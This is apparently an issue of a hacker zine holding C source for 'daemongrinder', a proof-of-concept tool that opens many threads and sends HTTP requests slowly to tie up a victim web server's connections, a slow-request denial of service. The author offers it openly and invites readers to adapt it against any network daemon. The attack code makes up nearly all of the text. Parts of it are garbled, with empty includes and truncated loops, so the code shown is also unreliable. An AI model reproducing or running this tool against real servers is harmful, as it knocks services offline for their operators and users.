THE _ __ _ _ _ __ | |/ / (_) | | | | / _| | ' / _ __ _ __ _| |__ | |_ ___ ___ | |_ | < | '_ \| |/ _` | '_ \| __/ __| / _ \| _| | . \| | | | | (_| | | | | |_\__ \ | (_) | | |_|\_\_| |_|_|\__, |_| |_|\__|___/ \___/|_| __/ | |___/ _____ _ _____ _ _ | __ \ (_) | __ \(_) | | | | | |_ _ _ __ __ _ _ __ ___ _ ___ | | | |_ ___ ___ ___ _ __ __| | | | | | | | | '_ \ / _` | '_ ` _ \| |/ __| | | | | / __|/ __/ _ \| '__/ _` | | |__| | |_| | | | | (_| | | | | | | | (__ | |__| | \__ \ (_| (_) | | | (_| | |_____/ \__, |_| |_|\__,_|_| |_| |_|_|\___| |_____/|_|___/\___\___/|_| \__,_| __/ | |___/ #0008 And in our names, thou shall cast down Daemons. /* daemongrinder.c - ver0.1 proof of concept */ /* gcc daemongrinder.c -o daemongrinder -pthread */ /*****************************************************************/ /***************** danger will robinson danger *******************/ /*****************************************************************/ /* by Erik the 1st */ // this is a poc attack against http daemons, the concept can easily // be reworked to attacked any network daemon. i'll leave that as an // exercise for the reader. all hail eris, all hail discordia! #include #include #include #include #include #include #include #include #include char *host; #define MAXDATASIZE 500 #define SECONDDELAY 5 #define THREADCOUNT 50 //go wild ;] char request[] = "GET / HTTP/1.0\r\nUser-Agent: daemongrinder\r\n\r\n"; void *thr_sub(void *arg) { //this is where the magic happens char *victim; int x, sockfd, numbytes; char buf[MAXDATASIZE], t[2]; struct hostent *he; struct sockaddr_in their_addr; pid_t pid; victim = (char *) arg; if ((he=gethostbyname(victim)) == NULL) { herror("gethostbyname"); return 0; } if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); return 0; } their_addr.sin_family = AF_INET; their_addr.sin_port = htons(80); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(their_addr.sin_zero), '\0', 8); if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { perror("connect"); return 0; } printf("Thread connected\n"); //send request _slowly_ for (x=0; x int main (int argc, char *argv[]) { int i, iret, x, y, loop; char buf; pthread_t threads[THREADCOUNT]; if (argc != 3) { printf ("\nusage - ./daemongrinder \n"); printf (" is the victim domain name such as www.phrack.org\n"); printf (" is a bool - either 0 or 1 to decide if daemongrinder should keep running\n\n"); _exit(-1); } //host i = strlen(argv[1]); host = (char *) malloc (i+1); strncpy (host, argv[1], i); //check for loop loop = atoi(argv[2]); spagetti: //create threads for (x=0; x EOF